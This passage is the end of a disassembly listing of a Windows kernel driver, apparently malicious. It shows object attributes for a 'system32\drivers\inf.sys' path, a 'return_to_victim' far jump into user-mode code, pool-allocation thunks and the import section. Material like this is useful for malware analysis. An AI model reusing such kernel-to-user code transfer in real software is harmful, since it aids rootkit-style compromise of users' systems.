.text:00011794 returned_handle dd 0		       ; DATA XREF: start+60o
.text:00011794					       ; start+A9r ...
.text:00011798 io_status_block dd 2 dup(0)	       ; DATA XREF: start+4Do
.text:00011798					       ; start+93o ...
.text:000117A0 object_attribz  dd 18h		       ; DATA XREF: start+Do
.text:000117A0					       ; start+54o ...
.text:000117A4		       dd 0
.text:000117A8		       dd f_name_unicode - next
.text:000117AC		       dd 40h		       ; OBJ_CASE_INSENSITIVE
.text:000117B0		       dd 0
.text:000117B4		       dd 0
.text:000117B8 f_name_unicode  dw 48h		       ; DATA XREF: start+13o
.text:000117B8					       ; .text:000111C2o
.text:000117BA		       dw 48h
.text:000117BC		       dd aSystemrootSyst - next
.text:000117C0 aSystemrootSyst:			       ; DATA XREF: start+1Co
.text:000117C0		       unicode 0, <\SystemRoot\system32\drivers\inf.sys>,0
.text:0001180A		       align 4
.text:0001180C bytes_offset    dd 0		       ; DATA XREF: start+81o
.text:0001180C					       ; .text:00011350w ...
.text:00011810		       dd 0
.text:00011814 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:00011814 
.text:00011814 return_to_victim:		       ; CODE XREF: .text:000114C7j
.text:00011814					       ; .text:00011504j ...
.text:00011814		       popa		       ; 1bh is	standard dpl3 flat code	descriptor
.text:00011815 return_to_victim_jmp:
.text:00011815		       jmp     far ptr 1Bh:0
.text:0001181C 
.text:0001181C ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
.text:0001181C 
.text:0001181C ; Attributes: thunk
.text:0001181C 
.text:0001181C ; PVOID __stdcall ExAllocatePool(POOL_TYPE PoolType,SIZE_T NumberOfBytes)
.text:0001181C ExAllocatePool  proc near	       ; CODE XREF: start+2Dp
.text:0001181C		       jmp     ds:__imp_ExAllocatePool
.text:0001181C ExAllocatePool  endp
.text:0001181C 
.text:00011822 
.text:00011822 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
.text:00011822 
.text:00011822 ; Attributes: thunk
.text:00011822 
.text:00011822 ; void __stdcall	ExFreePool(PVOID P)
.text:00011822 ExFreePool      proc near	       ; CODE XREF: .text:00011152p
.text:00011822		       jmp     ds:__imp_ExFreePool
.text:00011822 ExFreePool      endp
.text:00011822 
.text:00011822 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.text:00011828		       align 200h
.text:00011828 _text	       ends
.text:00011828 
.idata:00012000	; Section 2. (virtual address 00002000)
.idata:00012000	; Virtual size			: 0000006E (	110.)
.idata:00012000	; Section size in file		: 00000200 (	512.)
.idata:00012000	; Offset to raw	data for section: 00000E00
.idata:00012000	; Flags	40000040: Data Readable
.idata:00012000	; Alignment	: 16 bytes ?
.idata:00012000	; 
.idata:00012000	; Imports from ntoskrnl
.idata:00012000	; 
.idata:00012000	; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
.idata:00012000	
.idata:00012000	; Segment type:	Externs
.idata:00012000	; _idata
.idata:00012000	; void __stdcall __imp_ExFreePool(PVOID	P)
.idata:00012000			extrn __imp_ExFreePool:dword ; DATA XREF: ExFreePoolr
.idata:00012004	; PVOID	__stdcall _imp_ExAllocatePool(POOL_TYPE	PoolType,SIZE_T	NumberOfBytes)
.idata:00012004			extrn __imp_ExAllocatePool:dword
.idata:00012004						; DATA XREF: ExAllocatePoolr
.idata:00012008	
.idata:00012008	
.rdata:0001200C	; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
.rdata:0001200C	
.rdata:0001200C	; Segment type:	Pure data
.rdata:0001200C	; Segment permissions: Read
.rdata:0001200C	_rdata		segment	para public 'DATA' use32
.rdata:0001200C			assume cs:_rdata
.rdata:0001200C			;org 1200Ch
.rdata:0001200C			db 34h,	20h, 0Ah dup(0), 60h, 20h, 3 dup(0), 20h, 16h dup(0)
.rdata:0001200C			db 52h,	20h, 2 dup(0), 40h, 20h, 6 dup(0), 33h,	0
.rdata:00012042	aExallocatepool	db 'ExAllocatePool',0
.rdata:00012051			db    0	;  
.rdata:00012052			db  42h	; B
.rdata:00012053			db    0	;  
.rdata:00012054	aExfreepool	db 'ExFreePool',0
.rdata:0001205F			db    0	;  
.rdata:00012060	aNtoskrnl_exe	db 'ntoskrnl.exe',0
.rdata:0001206D			db 193h	dup(0)
.rdata:0001206D	_rdata		ends
.rdata:0001206D	
.rdata:0001206D	
.rdata:0001206D			end start
